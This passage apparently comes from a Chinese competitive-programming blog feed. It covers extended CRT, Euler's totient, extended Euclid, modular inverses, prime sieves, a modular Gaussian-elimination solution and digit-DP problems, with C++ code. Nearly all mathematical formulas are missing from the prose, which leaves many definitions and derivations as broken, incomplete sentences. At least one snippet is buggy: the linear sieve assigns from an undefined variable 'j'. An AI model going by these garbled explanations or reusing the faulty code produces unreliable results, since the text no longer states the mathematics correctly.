        ll X = ((mul(mul(cur.m, t1, S), (nxt.a - cur.a) / D, S)) + cur.a) % S;
55
        stk.push((Equation) {X, S});
56
    }
57
    Equation res = stk.top();
58
    return (res.a % res.m + res.m) % res.m; // 转为正整数
59
}
60

61
int main() {
62
    ios::sync_with_stdio(false);
63
    cin.tie(nullptr);
64
    cout.tie(nullptr);
65

66
    int n;
67
    cin >> n;
68
    for (int i = 1; i <= n; i++) cin >> a[i] >> b[i];
69
    for (int i = 1; i <= n; i++) stk.push((Equation) {b[i], a[i]});
70
    cout << exCRT() << endl;
71

72
    return 0;
73
}

展开收起

数论补完计划 Part3 欧拉函数

Wed, 18 Sep 2024 06:47:08 GMT

欧拉函数#

欧拉函数，表示内与互质的数的个数。对于质数显然有。特殊地，。欧拉函数是一个积性函数，对任意互质的数，都有。不互质时，如果为奇数，那么有。

如果可以用算术基本定理分解成的形式，那么。注意，若可以被同一个质数反复除尽，即存在一个和使得，计算时同样只对这个质数计算一次贡献。

证明：

正难则反，考虑用内的所有数的个数减去不互质的数的个数。

因为每个大于的自然数都可以分解为若干质数之积，因此我们只需要考虑小于等于的所有质因子，这一步类似于埃氏筛的想法。那么能被整除的数就有个，进而，得到第一个式子：

但是有一个小问题——如果或诸如此类的数，那么在计算贡献时会被和同时计入，显然结果小于正确答案。此时我们就需要引入“容斥原理”来帮我们解决这个问题了。来看一个例子（小学奥数题）：

假设被整除的数分别构成三个集合，那么我们在用计算结果时（记号表示集合元素个数），两个集合间的交集部分总共会被计入两次，最中间三个集合的交集总共会被计入三次，而我们希望的是每个部分只计一次。此时可以用上边算出的和减去两两集合之间的交集，那么最中间又会被减去三次，因而最终再加上一次中间部分，就得到了正确答案。也就是说本例的结果为：

特别的，形如上例问题的结果可以用以下公式算出：

因此我们在欧拉函数的计算中，也可以引入容斥原理。我们需要加上能被任意两个不同质数之积整除的数的个数，再减去能同时被三个不同质数之积整除的，以此类推。最终经过一些奇妙的化简（或者根本就是猜了一个结果然后拆括号检验的，正难则反懂不懂），得到如下计算公式：

代码实现时，通常把等价变形为，然后先除后乘，以保证整除。

1
int eular(int x) {
2
    int res = x;
3
    for (int i = 2; i * i <= x; i++) {
4
        if (x % i == 0) {
5
            res = res / i * (i - 1);
6
            while (x % i == 0) x /= i;
7
        }
8
    }
9
    if (x > 1) res = res / x * (x - 1);
10
    return res;
11
}

欧拉函数的递推#

本质是在筛质数的过程中顺便维护一定区间内的数的欧拉函数值，这就需要用到欧拉函数作为积性函数的性质了。

线性筛/埃氏筛在筛质数的过程中，有一步是标记掉质数的所有倍数，根据算术基本定理，所有合数都可以被如此标记掉。假如当前在筛，大部分情况下是可以保证的，此时。在这两种质数筛中，有一个特殊情况是，此时。总的时间复杂度是线性的。

1
int phi[N], primes[N];
2
bool st[N];
3
int idx = 0;
4

5
void sieve(int lim) {
6
    phi[1] = 1;
7
    for (int i = 2; i <= lim; i++) {
8
        if (!st[i]) {
9
            primes[++idx] = i;
10
            phi[i] = i - 1;
11
        }
12
        st[i] = true;
13
        for (int j = 1; i * primes[j] <= lim; j++) {
14
            phi[i * primes[j]] = phi[i] * (primes[j] - 1);
15
            st[i * primes[j]] = true;
16
            if (i % primes[j] == 0) {
17
                phi[i * primes[j]] = phi[i] * primes[j];
18
                break;
19
            }
20
        }
21
    }
22
}

展开收起

欧拉函数的实例#

一个排列整齐的点阵，请问从某个角看去，视野内总共有多少个点？（不包括自己）

观察可得，图是有对称性的。那么沿对角线划分成上下两个对称的部分，对于两个点和，显然当互质且互质时才能为答案贡献。因此只需求互质对的数目即可，答案就是。

P10315 [SHUPC 2024] - 原神，启动！题解

Wed, 18 Sep 2024 06:38:27 GMT

Done

您已获得最佳的阅读体验！

题目原型谜题解法浅究（的情况）

题目地址

本题考察模意义下的高斯消元。

基本思路是，让号方块分别击打次，使得最终每个方块都朝向位置。

欲解决此题，首先需要为每个位置编号。定义为“击打方块后，均会旋转一次”。那么样例输入 #1 如下图（编号方式不唯一），红线为目标方向、初始时均在朝向：

假设三个方块需要击打次，那么可以列出以下方程组：

但是不够严谨，因为我们没考虑“转过头”这种情况。即朝向为的方块旋转后会变为朝向。因此可以发现朝向存在模意义的同余关系。

上例方程组解得：

出现了负数，怎么处理？

根据解的意义考虑，这相当于往回转一次，根据同余关系可以得到，往回转次就相当于向前转次。因此对于负数，采取 (x % m + m) % m 的方式即可转化为非负数。

于是题目就很明了了，让我们求出如下元一次同余方程组的解：

因而可以用高斯消元求解。那么如何处理无数组解的情况呢？

高斯消元时我们会跳过一些零行。此时零行对应的变量就是一个自由元，可以任意赋值。

因此使用一个 ans 数组来存储答案，如果出现无数组解的情况，那么不管它，ans 数组也会自动赋值它为。

模意义下的除法显然需要用逆元解决，考虑到为质数，因此使用费马小定理计算。注意处处取模，答案不要忘了转化为内的数，还要开 long long。

1
#include <bits/stdc++.h>
2
#define N 110
3
#define SOLVE_OK 200
4
#define SOLVE_NO 404
5
#define LUXURIOUS_CHEST 0;
6
#define F return
7
using namespace std;
8

9
typedef long long ll;
10

11
int n, m;
12
ll matrix[N][N];
13
ll ans[N];
14

15
ll qpow(ll a, ll b, int p) {
16
    ll res = 1;
17
    while (b) {
18
        if (b & 1) res = res * a % p;
19
        a = a * a % p;
20
        b >>= 1;
21
    }
22
    return res % p;
23
}
24

25
ll inv(ll x, int p) {
26
    return qpow(x, p - 2, p);
27
}
28

29
int gauss() {
30
    // 1-index 高斯消元
31
    int rank = 0;
32
    for (int c = 1, r = 1; c <= n; c++) {
33
        int max_row = r;
34
        for (int i = r; i <= n; i++) {
35
            if (abs(matrix[i][c]) > abs(matrix[max_row][c])) {
36
                max_row = i;
37
            }
38
        }
39
        if (!matrix[max_row][c]) continue;
40
        if (max_row != r) swap(matrix[max_row], matrix[r]);
41
        for (int i = n + 1; i >= c; i--) {
42
            matrix[r][i] *= inv(matrix[r][c], m);
43
            matrix[r][i] = (matrix[r][i] % m + m) % m;
44
        }
45
        for (int i = r + 1; i <= n; i++) {
46
            if (abs(matrix[i][c])) {
47
                for (int j = n + 1; j >= c; j--) {
48
                    matrix[i][j] -= (matrix[r][j] * matrix[i][c]);
49
                    matrix[i][j] = (matrix[i][j] % m + m) % m;
50
                }
51
            }
52
        }
53
        r++;
54
        rank++;
55
    }
56
    if (rank < n) {
57
        // 无解判断
58
        for (int i = rank + 1; i <= n; i++) {
59
            for (int j = 1; j <= n + 1; j++) {
60
                if (abs(matrix[i][j])) return SOLVE_NO;
61
            }
62
        }
63
        // 无穷解处理，无穷解算作有解
64
        for (int i = 1; i <= n; i++) {
65
            for (int j = 1; j <= n; j++) {
66
                if (abs(matrix[i][j])) {
67
                    ans[j] = matrix[i][n + 1];
68
                    break;
69
                }
70
            }
71
        }
72
        return SOLVE_OK;
73
    }
74
    // 有唯一解，回代
75
    for (int i = n; i >= 1; i--) {
76
        for (int j = i + 1; j <= n; j++) {
77
            matrix[i][n + 1] -= (matrix[i][j] * matrix[j][n + 1]);
78
            matrix[i][n + 1] = (matrix[i][n + 1] % m + m) % m;
79
        }
80
    }
81
    for (int i = 1; i <= n; i++) ans[i] = matrix[i][n + 1];
82
    return SOLVE_OK;
83
}
84

85
int main() {
86
    ios::sync_with_stdio(false);
87
    cin.tie(nullptr);
88
    cout.tie(nullptr);
89

90
    cin >> n >> m;
91

92
    for (int i = 1; i <= n; i++) matrix[i][i] = 1; // 每个方块被击打后自己也会转一下，因此主对角线全为 1
93
    for (int i = 1; i <= n; i++) {
94
        int k;
95
        cin >> k;
96
        for (int j = 1; j <= k; j++) {
97
            int x;
98
            cin >> x;
99
            matrix[x][i] = 1;
100
        }
101
    }
102
    for (int i = 1; i <= n; i++) {
103
        ll s;
104
        cin >> s;
105
        matrix[i][n + 1] -= s;
106
    }
107
    for (int i = 1; i <= n; i++) {
108
        ll t;
109
        cin >> t;
110
        matrix[i][n + 1] += t;
111
    }
112
    int res = gauss();
113
    if (res == SOLVE_OK) {
114
        for (int i = 1; i <= n; i++) cout << (ans[i] % m + m) % m << ' ';
115
    } else cout << "niuza" << endl;
116

117
    F LUXURIOUS_CHEST
118
}

展开收起

数论补完计划 Part2 欧几里得算法

Sun, 15 Sep 2024 13:48:13 GMT

欧几里得算法#

众所周知的是，欧几里得算法可以用来求解最大公约数。它的核心是一个恒等式，并且在时函数值是。C++14 标准提供一个函数 __gcd() 来求解最大公约数，而在 C++17 以后，我们可以使用 gcd() 和 lcm() 函数来求解两个数的最大公约数和最小公倍数。

通常我们采用递归版本：

1
int gcd(int a, int b) {
2
    return b ? gcd(b, a % b) : a;
3
}

当然，C++ 标准使用的是循环版本：

1
int gcd(int a, int b) {
2
    while (b) {
3
        int t = a % b;
4
        a = b;
5
        b = t;
6
    }
7
    return a;
8
}

扩展欧几里得算法#

今天的重头戏是我们的扩展欧几里得算法（简称“扩欧”）。它和一般的朴素-扩展定理不太一样，按照常理，应该是一个针对互质（朴素）、一个针对不互质（扩展）。但是欧几里得算法并不存在互质和不互质的差别，因而也就没有这样的区分。扩展欧几里得算法能够在求解最大公约数的基础上连带求出不定方程的特解，也算是在功能方面上的一种“扩展”吧。

贝祖定理#

也就是定理，它表述为：

对于任意不全为零的整数，总存在整数，使得成立

我们可以利用这个定理来判断不定方程解的情况。

证明：

当其一为时，显然成立。

当均不为时，有一个结论是。那么问题可以收缩到只考虑同为正数时的情况了。接下来我们借用欧几里得算法的思路，即执行直到。假设初始参数为，并把欧几里得算法变为带余数的除法：

退出时，则，继续向上回代，最终得到。两边同乘得到原式。

因此在方程中，如果，那么是铁定无解的。

扩展欧几里得#

假如我们拿到一个方程，并且已知它是有解的。我们一定可以把它化简成的形式。根据欧几里得证明的最大公约数的等价变换，可以得到：

把取模换成带余除法，就等价于，那么原式变为：

即，

发现这个式子和最开始的那个是同型的。也就是说我们每次递归的时候都需要把减去然后代入计算。递归终点和朴素欧几里得算法相同，在时，原式为，可以返回特解。注意传参时需要将反着传入。

借助 C++ 的引用特性，可以在每次递归时计算。

1
int exgcd(int a, int b, int &x, int &y) {
2
    if (!b) {
3
        y = 0, x = 1;
4
        return a;
5
    }
6
    int d = exgcd(b, a % b, y, x);
7
    y -= (a / b) * x;
8
    return d;
9
}

不定方程的通解#

我们都知道，通过扩展欧几里得算法求出的是一组特解，而不定方程是可能存在无数组解的。我们需要找到这些解之间的规律，从而更加方便快捷地导出具有某些特殊性质的解来。

对于一个二元一次不定方程的基本式，显然有解。对于一般情况，满足时才有解。一般式其实可以由基本式推导而来：。

一组特解为，根据上边的推导式，可以得到：

也因此，是成立的。假设有一个有理数，显然下面的式子是成立的（拆开括号后会消去）：

我们一般只考虑整数解，所以需要保证。显然当时是可行的，方程的整数通解就可以通过如下形式导出：

题目中还会给你一些限制条件，例如的最大/小正整数解分别是多少。此时需要进一步推导。

假如限制条件是，均为正整数。那么有如下不等式组：

解得：

因为为整数，放缩得：

当右边严格小于左边时，无解，即没有同为正整数的解。否则，注意到与成正关系，与成负关系。的最大可能整数值就由的上界代入得出，的最大可能整数值是的下界对应的值，反之亦然。

1
#include <bits/stdc++.h>
2
using namespace std;
3

4
typedef long long ll;
5

6
ll exgcd(ll a, ll b, ll &x, ll &y) {
7
    if (!b) {
8
        x = 1, y = 0;
9
        return a;
10
    }
11
    ll d = exgcd(b, a % b, y, x);
12
    y -= a / b * x;
13
    return d;
14
}
15

16
int main() {
17
    ios::sync_with_stdio(false);
18
    cin.tie(nullptr);
19
    cout.tie(nullptr);
20

21
    int t;
22
    cin >> t;
23
    while (t--) {
24
        ll a, b, c, x, y;
25
        cin >> a >> b >> c;
26
        if (c % gcd(a, b) == 0) {
27
            ll gcd = exgcd(a, b, x, y);
28
            x *= c / gcd, y *= c / gcd; // 转化为推导式
29
            ll low = ceil((1.0 - x) * gcd / b); // 算下界，浮点数1.0是必须的
30
            ll up = floor((y - 1.0) * gcd / a); // 上界
31
            if (up < low) {
32
                cout << (x + low * b / gcd) << ' ' << (y - up * a / gcd) << endl; // x,y 最小值
33
            } else {
34
                cout << up - low + 1 << ' '; // 区间大小
35
                cout << (x + low * b / gcd) << ' ' << (y - up * a / gcd) << ' '; // x,y 最小值
36
                cout << (x + up * b / gcd) << ' ' << (y - low * a / gcd) << endl;// x,y 最大值
37
            }
38
        } else cout << -1 << endl;
39
    }
40
    return 0;
41
}

展开收起

乘法逆元#

乘法逆元其实就是模意义下的倒数，因为取模是针对整数而言的，而实数域的倒数可能不是一个整数，所以引入一个乘法逆元的概念。定义线性同余方程的解为在模意义下的乘法逆元，记作。

根据定义，我们其实就可以直接开始用扩展欧几里得计算了。特殊情况下，当为质数时，由费马小定理得到，进而得，因此当为质数时，逆元就是的值，可以用快速幂解决（如果特别大可以考虑十进制快速幂）。

根据带余除法，我们把同余方程变成这样：。有解的条件就是，只要是的倍数（包括），那么就不存在逆元。所以我们直接把和代入即可计算出逆元的值。注意解出的可能为负数，那么就需要用 (x % MOD + MOD) % MOD 来将它转化为非负数。

调用 exgcd(a, p, x, y) 所得即为逆元的值。

数论补完计划 Part1 基本定理、质数与约数

Sat, 14 Sep 2024 06:47:25 GMT

基本定理#

算术基本定理#

任何一个合数均可被唯一分解成若干质数的乘积。

也就是说任何合数都可以唯一地表示成的形式，这条定理在之后的质数筛中有大用。

素数定理#

中的质数个数约等于

可以用来粗略估计在当前数据范围下质数的个数，以便更具有针对性的选用质数筛法。据说这个定理有一个非常初等的证明，仅涉及到极限、自然对数函数和指数函数的一些简单性质（子供向），非常适合初中生茶余饭后作为谈资。

费马小定理#

对于一个质数，以及一个正整数。如果不是的倍数，那么

它是质数模数逆元求解的理论基础，在大部分情况下，它还可以拿来检验一个数是否是质数（有特例，例如）。

欧拉定理#

若，那么

其中为欧拉函数，代表内与互质的数的个数。当为质数时满足，不难发现费马小定理是欧拉定理在为质数时的特殊情况。

威尔逊定理#

对于任意质数，满足

上式还等价于。可以用作质数检验，但是要算阶乘，开销方面还不如试除法。

质数#

我们定义，如果一个大于一的自然数不包含和外的其他约数，那么是一个质数，反之即为合数。特别地，既不是质数，也不是合数。

在保证正确的情况下，最快的质数判断法是的试除法。如果我想要一次性找出内的所有质数该怎么办呢？此时就需要质数筛了。

埃氏筛#

由古希腊数学家埃拉托斯特尼发明的质数筛法。它首先找到一个质数，然后在内枚举它的倍数并标记为合数，然后循环往复得到所有范围内的质数。

这个算法的核心就是算术基本定理，任何质数都可以被分解为若干质数的乘积，因此只要对质数的倍数进行筛选，就一定能保证正确性。

线性筛#

它断言每个合数只会被它最小的质因子筛掉，因此我们只需要筛去以当前质数为最小质因子的合数即可。

1
void get(int n) {
2
    for (int i = 2; i <= n; i++) {
3
        if (!vis[i]) prime[cnt++] = j;
4
        for (int j = 1; prime[j] <= n / i; j++) {
5
            vis[prime[j] * i] = true;
6
            if (i % prime[j] == 0) break; // 不再是最小质因子了，跳出
7
        }
8
    }
9
}

常数筛/直取筛#

顾名思义，就是的打表。虽然这听起来非常的荒谬，但是有些时候还是可以用上的。它结合了上述的任何一种筛法，以及一个字符串格式化输出系统。代码实现很基础，不放了😎。

约数#

也叫因数，当能被整除时，即时，就称是的一个因数。

求约数仍然是试除法，需要注意的是当前数是否是一个完全平方数，以防止重复记录约数。

最大公约数#

欧几里得算法/辗转相除法用来求解两个数的最大公约数。它的核心是的递归式，终点是，此时为所求。C++ 内置的 __gcd() 函数可以做到这一点（两个下划线）。

最小公倍数#

小学时讲过这样一个性质，最大公约数和最小公倍数的乘积等于两数之积。因此直接根据公式导出即可。

记忆化搜索数位DP

Wed, 04 Sep 2024 12:16:09 GMT

数位DP 简介#

数位DP是一种基于按位枚举的计数类DP。一般来说，当题目要求对所有符合特殊性质的数字计数（且这些性质可以转化到数位上讨论）、对给定区间内的合法数做统计、数据范围中出现了超大的上界时，就可以考虑使用数位DP来进行求解。

数位DP的时间复杂度基本上是级别的，其中为状态数，可以看作是记忆化搜索数组每一维上界的总乘积。因此在大多数情况下它能做得很好。

数位DP 基本实现#

数位DP运用了前缀和的思想，假设代求区间为，它的基本思路是求出内的方案数，再求出内的方案数，答案就是后者减去前者。

其次，数位DP还支持搜索记忆化。具体来说就是把搜索时的传参记录下来，方便后期调用。由于不同数的上界（或枚举到的前导零）状态不甚相同，故当前数较为特殊时（顶上界/存在前导零）不进行记忆化。

基本模板如下（代码来自 P2657 windy 数）：

1
int dfs(int pos, int pre, bool limit, bool zero) {
2
    //  当前位置 上一个数  是否顶上界 是否有前导零
3
    int sum = 0;
4
    if (pos < 0) return 1; // 当前符合要求，是一种合法解
5
    if (!limit && pre >= 0 && f[pos][pre] != -1) return f[pos][pre]; // 记忆化剪枝
6
    for (int i = 0; i <= (limit ? num[pos] : 9); i++) { // 顶上界就只能最大枚举到上界当前位的数
7
        if (abs(i - pre) < 2) continue; // 判断合法性
8
        if (!i && zero) sum += dfs(pos - 1, -2, limit && i == num[pos], true); // 当前是前导零
9
        else sum += dfs(pos - 1, i, limit && i == num[pos], false); // 不为前导零
10
    }
11
    if (!limit && !zero) f[pos][pre] = sum; // 加入记忆化
12
    return sum;
13
}

注意到程序的整体复杂度与记忆化数组的维度有关，因此把无用的参数尽可能省去会提高运行效率（因题而异，但基本上都是省去判断前导零和前一个数的状态）

数位DP 经典例题#

例题按照难度升序排序。

Warning

受限于篇幅，仅在第一题给出完整代码，其余题目只会给出部分核心代码

洛谷 P1708 [入门赛 #21] 星云 hard ver.#

题目地址：P1708

题目难度：普及/提高-

定义星云数为位数不大于且各数位之和不超过的正整数，给定，求星云数的个数。
共组测试数据
对于的数据，，，。

当时比赛时没想出来该怎么搞，下来发现原来正解是打表吗？？？不，肯定不是，这道题就是数位DP！建议升绿。

考虑到都很小，打表确实可行。但是既然这道题给你说的都这么明显了，那咱们就用数位DP来做。

题目转化成，求内符合要求的数的数量。因此记忆化搜索维护一个当前的数位和，在搜索终点时判断是否小于等于，或者途中判断，都是可行的。注意到数的前导零不会产生影响、也无需记录上一步选择的数字，我们可以把记忆化压缩至三维的。

1
#include <bits/stdc++.h>
2
#define N 10
3
#define K 110
4
using namespace std;
5

6
typedef long long ll;
7

8
int f[N][K];
9
vector<int> num;
10
int k;
11
int power10[10] = {1, 10, 100, 1000, 10000, 100000, 1000000, 10000000};
12

13
int dfs(int pos, bool limit, int tot) {
14
    if (pos < 0) return tot > 0 && tot <= k;
15
    if (tot > k) return 0;
16
    if (!limit && f[pos][tot] >= 0) return f[pos][tot];
17
    int sum = 0;
18
    for (int i = 0; i <= (limit ? num[pos] : 9); i++) {
19
        sum += dfs(pos - 1, limit & (i == num[pos]), tot + i);
20
    }
21
    if (!limit) f[pos][tot] = sum;
22
    return sum;
23
}
24

25
int calc(int x) {
26
    num.clear();
27
    int tmp = x;
28
    while (tmp) {
29
        num.push_back(tmp % 10);
30
        tmp /= 10;
31
    }
32
    memset(f, -1, sizeof f);
33
    return dfs(num.size() - 1, true, 0);
34
}
35

36
int main() {
37
    ios::sync_with_stdio(false);
38
    cin.tie(nullptr);
39
    cout.tie(nullptr);
40

41
    int t;
42
    cin >> t;
43
    while (t--) {
44
        int n;
45
        cin >> n >> k;
46
        cout << calc(power10[n] - 1) << endl;
47
    }
48
    return 0;
49
}

展开收起

洛谷 P2602 [ZJOI2010] 数字计数#

题目地址：P2657

题目难度：普及+/提高

给定两个正整数和，求在中的所有整数中，每个数码(digit)各出现了多少次。
对于的数据，保证。

考虑对于每一次记忆化搜索，只搜索内其中某个数的出现次数。因此在整个范围内搜索次并分别输出答案即可。由于前导零不能算作的出现次数，因此需要加入前导零的判断。

1
ll dfs(int pos, int pre, bool limit, bool zero, int cnt, int target) {
2
    //  位置    上一个数    顶上界      前导零   出现次数    搜索目标
3
    if (pos < 0) return cnt;
4
    if (!limit && !zero && f[pos][pre][cnt][target] >= 0) return f[pos][pre][cnt][target];
5
    ll sum = 0;
6
    for (int i = 0; i <= (limit ? num[pos] : 9); i++) {
7
        if (!i && zero) sum += dfs(pos - 1, i, limit & (i == num[pos]), true, 0, target);
8
        else sum += dfs(pos - 1, i, limit & (i == num[pos]), false, cnt + (i == target), target);
9
    }
10
    if (!limit && !zero) f[pos][pre][cnt][target] = sum;
11
    return sum;
12
}

其实不用记录上一个数也是没问题的，因为历史遗留问题没删罢了。

洛谷 P2657 [SCOI2009] windy 数#

题目地址：P2657

题目难度：提高+/省选-

题目来源：四川 2009 各省省选

不含前导零且相邻两个数字之差至少为的正整数被称为 windy 数。windy 想知道，在和之间，包括和，总共有多少个 windy 数？
对于全部的测试点，保证。

对于当前所填的数位，能进入下层循环的充要条件是它和前一个填入的数的绝对值大于等于。只需要在枚举当前为所填数字时加入判断即可，这也预示着我们的状态中就需要额外添加一维用来记录前一个填入的数。

特殊地，如果当前是前导零，那么下一个填入的非零数将作为数字的开头，应该是不受绝对值限制的。

1
int dfs(int pos, int pre, bool limit, bool zero) {
2
    // 当前位置  上一个数    顶上界      前导零
3
    int sum = 0;
4
    if (pos < 0) return 1;
5
    if (!limit && pre >= 0 && f[pos][pre] != -1) return f[pos][pre];
6
    for (int i = 0; i <= (limit ? num[pos] : 9); i++) {
7
        if (abs(i - pre) < 2) continue; // 绝对值之差必须大于等于2
8
        if (!i && zero) sum += dfs(pos - 1, -2, limit && i == num[pos], true); // 当前为前导零，下一位不受限制，填入小于等于-2或大于等于12的数均可
9
        else sum += dfs(pos - 1, i, limit && i == num[pos], false);
10
    }
11
    if (!limit && !zero) f[pos][pre] = sum;
12
    return sum;
13
}

洛谷 P4124 [CQOI2016] 手机号码#

题目地址：P4124

题目难度：提高+/省选-

题目来源：重庆 2016 各省省选

一个符合要求的电话号码必须同时包含以下两个条件：号码中要出现至少个相邻的相同数字；号码中不能同时出现和。
手机号码一定是位数，且不含前导的。请你统计出区间内所有满足条件的号码数量。和也是位的手机号码。
数据范围：。

考虑加入维度，一个用来判定电话号码中是否出现、一个判断的存在，此时再来维护“三个相邻的相同数字”这一条件，用一个布尔值来判断是否已经有三个及以上的相邻数字，此时再加一个最长连续长度，每次判断是否大于等于即可。

由于计算时涉及到前缀和相减，当下界卡在上时可能就错了。最好的方法是先用代码求解一遍取值为时的结果，特判并减去这个特殊值即可。

1
ll dfs(int pos, int pre, bool limit, bool zero, bool _4, bool _8, bool cont, int last) {
2
    //  位置    前一个数    顶上界      前导零     出现4    出现8  是否三数连续 当前连续数
3
    if (_4 & _8) return 0;
4
    if (pos < 0) return cont;
5
    if (!limit && pre >= 0 && f[pos][pre][last][_4][_8][cont] >= 0) return f[pos][pre][last][_4][_8][cont];
6
    ll sum = 0;
7
    for (int i = 0; i <= (limit ? num[pos] : 9); i++) {
8
        if (!i && zero) sum += dfs(pos - 1, -1, limit & i == num[pos], true, _4, _8, false, 0);
9
        else sum += dfs(pos - 1, i, limit & i == num[pos], false, _4 | i == 4, _8 | i == 8, cont | (i == pre ? last + 1 >= 3 : false), i == pre ? last + 1 : 1);
10
    }
11
    if (!limit && !zero) f[pos][pre][last][_4][_8][cont] = sum;
12
    return sum;
13
}
14

15
ll calc(ll x) {
16
    num.clear();
17
    ll tmp = x;
18
    while (tmp) {
19
        num.push_back(tmp % 10);
20
        tmp /= 10;
21
    }
22
    if (num.size() < 11) return 485218848ll; // 特判
23
    memset(f, -1, sizeof f);
24
    return dfs(num.size() - 1, -2, true, true, false, false, false, 0);
25
}

展开收起

洛谷 P4317 花神的数论题#

题目地址：P4317

题目难度：提高+/省选-

设表示的二进制表示中的个数。给出一个正整数，花神要问你，也就是的乘积。结果对取模。
对于的数据，。

乍看还不太好想，但是当我们把数字变为二进制表示后，最多也只有位。一般地，对于任意，我们求出二进制表示下恰好包含个的数的总数，假设结果记作，那么最终答案就会是，此时使用快速幂维护即可。

1
ll dfs(int pos, bool pre, bool limit, int cnt, int target) {
2
    //  位置    前一个数    顶上界    填入1的个数 要求的1的个数
3
    if (pos < 0) return cnt == target;
4
    if (!limit && f[pos][cnt][pre] >= 0) return f[pos][cnt][pre];
5
    ll sum = 0;
6
    for (int i = 0; i <= (limit ? num[pos] : 1); i++) {
7
        sum += dfs(pos - 1, i, limit & i == num[pos], cnt + i, target);
8
    }
9
    if (!limit) f[pos][cnt][pre] = sum;
10
    return sum;
11
}

洛谷 P4127 [AHOI2009] 同类分布#

题目地址：P4127

题目难度：提高+/省选-

题目来源：安徽 2009 各省省选

给出两个数，求出中各位数字之和能整除原数的数的个数。
对于所有的数据，

根据题目所给的数据范围，最大可能的数位和仅为。于是考虑枚举这个数位和，同时维护一个当前数模这个数位和的余数，一个数符合要求当且仅当填完所有数之后余数为。末尾填数的过程可以看作把原数乘再加上当前的数，余数也可以通过乘十加上当前数再取模得到。

1
ll dfs(int pos, int cur, ll now, bool limit, int m) {
2
    //  位置   当前数位和 当前余数   顶上界  枚举的数位和
3
    if (pos < 0) return cur == m && now == 0;
4
    if (!limit && f[pos][now][cur] >= 0) return f[pos][now][cur];
5
    ll sum = 0;
6
    for (int i = 0; i <= (limit ? num[pos] : 9); i++) {
7
        sum += dfs(pos - 1, cur + i, (now * 10 + i) % m, limit & i == num[pos], m);
8
    }
9
    if (!limit) f[pos][now][cur] = sum;
10
    return sum;
11
}

洛谷 P6218 [USACO06NOV] Round Numbers S#

题目地址：P6218

题目难度：提高+/省选-

题目来源：USACO 2006

如果一个正整数的二进制表示中，的数目不小于的数目，那么它就被称为「圆数」。请你计算，区间中有多少个「圆数」。
对于的数据，。

（二进制下）维护当前填了多少个和多少个，同时注意前导零对数位统计上的影响即可。一个数合法当且仅当的个数大于等于的个数。

1
int dfs(int pos, bool pre, int _0, int _1, bool limit, bool zero) {
2
    //   位置    上一个数   0的个数 1的个数    顶上界      前导零
3
    if (pos < 0) return _0 >= _1 && _0; // 必须填过0，以防前导零带来错误
4
    if (!limit && !zero && f[pos][_0][_1][pre] >= 0) return f[pos][_0][_1][pre];
5
    int sum = 0;
6
    for (int i = 0; i <= (limit ? num[pos] : 1); i++) {
7
        sum += dfs(pos - 1, i, !i & zero ? 0 : _0 + !i, !i & zero ? 0 : _1 + i, limit & i == num[pos], zero & !i);
8
    }
9
    if (!limit && !zero) f[pos][_0][_1][pre] = sum;
10
    return sum;
11
}

CF 55D Beautiful Numbers#

题目地址：CF 55D

题目难度：省选/NOI-

Volodya 认为一个数字是美丽的，当且仅当并且对于的每一个非零位上的数，都有。你需要帮助他算出在区间中有多少个数是美丽的。
组数据。。保证都是整数，且的十进制表示小于等于位。

感觉跟刚刚切掉的“同类分布”这道题很像，但是这道题要求每一位上的数都整除原数。我们引入一个很有趣的数学常识。

Note

某个数若能被若干个数整除，那么这个数也一定能被它们的最小公倍数整除。

因为它们的最小公倍数的因子一定能够完全包含这些数，因此结论显然是成立的。那么我们可以维护一个已填入的所有非零数的最小公倍数，解合法当且仅当最终的数字能被这个最小公倍数整除。但是这样就还得维护当前拼出的数，这显然不现实（），转而寻找替代方案。

注意到填入的数字最多把都选一遍（不计入最小公倍数）。无论如何，每个数位都只能是一个区间内的数字。最坏情况下把都选进数中，此时所有数位的最小公倍数就是。也就是说，只要我们拼出来的数能够被整除，那么无论每一位上是多少，它都是合法的。于是可以效仿“同类分布”这道题，采用记录余数的方法来判别。此时记忆化维度仍然过高，又注意到的因数仅有个，于是将每个因数离散化存在一个数组中，不难发现，维护的最小公倍数永远都是的某个因子。至此，我们就做完了这道题。

1
ll dfs(int pos, bool limit, int m, int lcm) {
2
    //  位置      顶上界     余数  最小公倍数
3
    if (pos < 0) return m % lcm == 0;
4
    if (!limit && f[pos][m][fac[lcm]] >= 0) return f[pos][m][fac[lcm]];
5
    ll sum = 0;
6
    for (int i = 0; i <= (limit ? num[pos] : 9); i++) {
7
        // 若该位非零，则更新最小公倍数；反之不更新
8
        sum += dfs(pos - 1, limit & (i == num[pos]), (m * 10 + i) % 2520, i ? std::lcm(i, lcm) : lcm);
9
    }
10
    if (!limit) f[pos][m][fac[lcm]] = sum;
11
    return sum;
12
}
13

14
void init() {
15
    // 离散化因子
16
    int idx = 0;
17
    for (int i = 1; i <= 2520; i++) {
18
        if (2520 % i == 0) {
19
            fac[i] = ++idx;
20
        }
21
    }
22
}

展开收起

洛谷 P3413 SAC#1 萌数#

题目地址：P3413

题目难度：省选/NOI-

定义萌数为满足“存在长度至少为的回文子串”的数。请求出到内有多少个萌数。答案对（）取模。
对于全部的数据，，。

这道题如果遍历整个数去判断是否存在回文会非常难办，因此想个办法来简化这一过程。注意到我们其实只关注数字中是否出现符合要求的回文串，而不关心这个回文串有多少。当一个串是回文串时，两个端点同时向内收缩一个字符得到的子串也同样是一个回文串。因此其实只用分两种最简情况讨论即可，因为其他情况都可以被转化为这两种情况。

第一种是长度恰好为的回文串，也就是前后两个数相同。此时只需要维护前一个数的情况就好；第二种是长度为的回文串，显然首尾需相同，中间任意填。此时就需要额外维护前第二个数的情况。

注意由于答案输出需要取模，而数位DP又涉及到减法，为了避免负数取模出错，故在差后加上一个模数再整体取模。并且注意到读入数据特大，因此写一个高精度减一的函数来预处理。

1
ll dfs(int pos, int pre, int pre2, bool limit, bool zero, bool ok) {
2
    //  位置    前一个数  再前一个    顶上界      前导零   是否是萌数
3
    if (pos < 0) return ok;
4
    if (!limit && !zero && f[pos][pre][pre2][ok] >= 0) return f[pos][pre][pre2][ok];
5
    ll sum = 0;
6
    for (int i = 0; i <= (limit ? num[pos] : 9); i++) {
7
        if (!i && zero) sum = (sum + dfs(pos - 1, 10, 10, limit & (i == num[pos]), true, false)) % MOD;
8
        else sum = (sum + dfs(pos - 1, i, pre, limit & (i == num[pos]), false, ok | (i == pre | i == pre2))) % MOD; // 要么是长度为2，要么长度为3
9
    }
10
    if (!limit && !zero) f[pos][pre][pre2][ok] = sum;
11
    return sum;
12
}
13

14
void init(string &s) {
15
    // 高精度
16
